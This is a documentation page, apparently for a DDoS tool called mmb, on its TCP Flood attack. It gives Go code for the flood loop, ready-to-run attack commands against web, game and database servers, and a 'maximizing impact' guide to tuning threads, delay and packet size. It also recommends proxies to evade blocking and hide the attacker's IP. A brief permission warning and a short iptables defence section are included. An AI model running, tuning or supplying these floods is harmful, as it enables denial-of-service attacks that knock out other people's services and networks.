> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/sammwyy/mikuMikuBeam/llms.txt
> Use this file to discover all available pages before exploring further.

# TCP Flood

> Layer 4 TCP connection flood with random payload bursts

## Overview

TCP Flood is a Layer 4 (transport layer) denial of service attack that floods a target with TCP connections and random data packets. Unlike HTTP attacks that target application logic, TCP Flood attacks the network layer by exhausting connection tables, bandwidth, and firewall resources.

<Note>
  This attack operates at the TCP level and works against any TCP service, not just HTTP servers.
</Note>

## How it works

The TCP Flood attack executes the following sequence:

1. **Connection Establishment**: Opens TCP connection to target host:port
2. **Random Payload Generation**: Creates buffer of cryptographically random bytes
3. **Initial Burst**: Sends first payload packet with 2-second write deadline
4. **Additional Bursts**: Sends 1-4 additional random payloads in rapid succession
5. **Connection Close**: Closes connection immediately after bursts
6. **Repeat**: Each thread continuously opens new connections

### Attack pattern

```mermaid theme={null}
sequenceDiagram
    participant A as Attacker
    participant T as Target Server
    loop Every packet-delay
        A->>T: SYN (new connection)
        T->>A: SYN-ACK
        A->>T: ACK
        Note over A,T: TCP Connection Established
        A->>T: Random payload (packet-size bytes)
        A->>T: Random payload burst 1
        A->>T: Random payload burst 2
        A->>T: Random payload burst 3
        A-->>T: FIN/RST (close connection)
        Note over T: Process/discard data
    end
    Note over T: Connection table exhausted
```

## When to use

TCP Flood is effective for:

* **Firewall stress testing**: Test firewall's connection tracking capacity
* **Load balancer testing**: Verify load balancer handles connection churn
* **Network infrastructure testing**: Stress test routers, switches, and network appliances
* **Non-HTTP services**: Attack game servers, databases, or any TCP service
* **Connection table exhaustion**: Fill up server's connection tracking table
* **Bandwidth saturation**: Consume upstream/downstream bandwidth

<Warning>
  This attack generates significant network traffic and can affect network infrastructure. Only use on networks you own or have permission to test.
</Warning>

## Usage

Basic TCP Flood attack:

```bash theme={null}
mmb attack tcp_flood tcp://example.com:80
```

Attacking a game server:

```bash theme={null}
mmb attack tcp_flood tcp://gameserver.example.com:27015 \
  --duration 60 \
  --delay 100 \
  --packet-size 1024 \
  --threads 32
```

High-intensity attack:

```bash theme={null}
mmb attack tcp_flood tcp://target.example.com:443 \
  --duration 300 \
  --delay 50 \
  --packet-size 2048 \
  --threads 64 \
  --verbose
```

### Parameters

<ParamField path="target" type="string" required>
  Target in format `tcp://hostname:port` or `hostname:port`. Protocol can be omitted.
</ParamField>

<ParamField path="--duration" type="int" default="60">
  Attack duration in seconds
</ParamField>

<ParamField path="--delay" type="int" default="500">
  Delay between connection attempts in milliseconds per thread
</ParamField>

<ParamField path="--packet-size" type="int" default="512">
  Size of random payload per burst. Defaults to 512 bytes if not specified or ≤ 0.
</ParamField>

<ParamField path="--threads" type="int" default="0">
  Number of concurrent attack threads (0 = number of CPU cores)
</ParamField>

<ParamField path="--verbose" type="boolean" default="false">
  Show detailed logs for each connection attempt
</ParamField>

<ParamField path="--no-proxy" type="boolean" default="false">
  Allow running without proxies (exposes your IP)
</ParamField>

## Expected behavior

### Console output

Standard mode:

```
Starting tcp_flood against tcp://example.com:80 with 75 proxies
22:45:10 PPS:234 Total:234 Proxies:75
22:45:11 PPS:289 Total:523 Proxies:75
22:45:12 PPS:267 Total:790 Proxies:75
```

Verbose mode:

```
Starting tcp_flood against tcp://example.com:80 with 75 proxies
Verbose mode enabled - showing detailed attack logs
22:45:10 PPS:234 Total:234 Proxies:75 [SOCKS5 proxy.example.net:1080 -> tcp://example.com:80]
22:45:11 PPS:289 Total:523 Proxies:75 [SOCKS5 proxy2.example.net:1080 -> tcp://example.com:80]
```

### Network behavior

* **Connection lifecycle**: Connect → Send bursts → Close (short-lived)
* **Payload randomness**: Uses `crypto/rand` for unpredictable data
* **Burst count**: 1-4 additional bursts per connection (random)
* **Write timeout**: 2 seconds per send operation
* **Total data sent**: `packet-size * (1 + burst_count)` bytes per connection

## Technical implementation

Implementation details from `internal/attacks/tcp/flood.go:17-55`:

* **Dialer**: Uses `DialedTCPClient` from `internal/netutil`
* **Randomness**: Cryptographically secure random via `crypto/rand`
* **Error handling**: Silently ignores connection and write errors
* **Burst calculation**: `min(3, 1 + randIntn(3))` = 1-4 bursts
* **Proxy support**: Routes through SOCKS/HTTP proxies when available
* **Context awareness**: Respects cancellation signals

### Code flow

```go theme={null}
// 1. Parse target
host := tn.Hostname()
port := tn.PortNum()

// 2. Establish connection via proxy
conn, err := netutil.DialedTCPClient(ctx, "tcp", host, port, pptr)

// 3. Generate random payload
size := params.PacketSize
if size <= 0 {
    size = 512
}
buf := make([]byte, size)
rand.Read(buf)

// 4. Send bursts
conn.SetWriteDeadline(time.Now().Add(2 * time.Second))
conn.Write(buf)

bursts := minInt(3, 1+randIntn(3))
for i := 0; i < bursts; i++ {
    rand.Read(buf)
    conn.Write(buf)
}

// 5. Close
conn.Close()
```

## Performance characteristics

<AccordionGroup>
  <Accordion title="Throughput optimization">
    * **Lower delay** = more connections per second
    * **More threads** = higher aggregate connection rate
    * **Larger packet-size** = more bandwidth consumed per connection
    * **More proxies** = better distribution and harder to block

    Example: 32 threads, 100ms delay, 1024-byte packets

    * Connections/sec: \~320 (32 threads × 10 conn/sec)
    * Bandwidth: \~1.3-1.6 MB/sec (accounting for bursts)
  </Accordion>

  <Accordion title="Resource usage">
    * **CPU**: Low (mainly network I/O wait)
    * **Memory**: \~4KB per thread for buffers
    * **Network**: Depends on packet-size and delay
    * **File descriptors**: One per active connection (short-lived)
  </Accordion>

  <Accordion title="Proxy considerations">
    * **SOCKS5**: Recommended for TCP proxying
    * **HTTP CONNECT**: Also supported
    * **Proxy overhead**: \~100-200ms additional latency
    * **Proxy health**: Failed proxies are silently skipped
  </Accordion>
</AccordionGroup>

## Attack effectiveness factors

### Target vulnerabilities

<Tabs>
  <Tab title="Vulnerable targets">
    * Servers without connection rate limiting
    * Services with small connection tables
    * Unoptimized firewalls/NAT devices
    * Bandwidth-constrained networks
    * Applications that process random data
  </Tab>

  <Tab title="Resistant targets">
    * SYN cookies enabled (Linux)
    * Connection rate limiting in place
    * DDoS mitigation services (Cloudflare, etc.)
    * High-capacity firewalls
    * Services that immediately drop invalid data
  </Tab>
</Tabs>

### Maximizing impact

<Steps>
  <Step title="Tune delay for optimal rate">
    Start with 500ms, reduce to 50-100ms for high-rate attacks.
  </Step>

  <Step title="Scale threads appropriately">
    Use 16-64 threads for most targets. Higher thread counts may saturate your own network.
  </Step>

  <Step title="Adjust packet size">
    * Small (128-512 bytes): More connections, less bandwidth
    * Large (2048-4096 bytes): Fewer connections, more bandwidth
  </Step>

  <Step title="Use quality proxies">
    SOCKS5 proxies with low latency and high bandwidth are ideal.
  </Step>
</Steps>

## Defense mechanisms

If you're protecting against TCP Flood attacks:

* **SYN cookies**: Enable at OS level to mitigate SYN floods
* **Connection rate limiting**: Limit new connections per IP per second
* **Connection table tuning**: Increase `nf_conntrack_max` on Linux
* **Firewall rules**: Drop packets from known malicious sources
* **TCP timeout reduction**: Lower `tcp_fin_timeout` to free resources faster
* **DDoS mitigation**: Use services like Cloudflare, AWS Shield, or Arbor

### Example iptables rules

```bash theme={null}
# Limit new connections to 10/sec per IP
iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
  -m recent --set
iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
  -m recent --update --seconds 1 --hitcount 10 -j DROP
```

## Target examples

### HTTP/HTTPS servers

```bash theme={null}
mmb attack tcp_flood tcp://webserver.example.com:443
```

### Game servers

```bash theme={null}
# Counter-Strike server
mmb attack tcp_flood tcp://csgo.example.com:27015

# Minecraft server  
mmb attack tcp_flood tcp://minecraft.example.com:25565
```

### Database servers

```bash theme={null}
# MySQL
mmb attack tcp_flood tcp://db.example.com:3306

# PostgreSQL
mmb attack tcp_flood tcp://db.example.com:5432
```

### Custom services

```bash theme={null}
# Any TCP service on any port
mmb attack tcp_flood tcp://api.example.com:8080
```

## Related attack methods

<CardGroup cols={2}>
  <Card title="HTTP Flood" icon="water" href="/attacks/http-flood">
    Layer 7 HTTP request flood
  </Card>

  <Card title="Minecraft Ping" icon="gamepad" href="/attacks/minecraft-ping">
    Specialized Minecraft server attack
  </Card>
</CardGroup>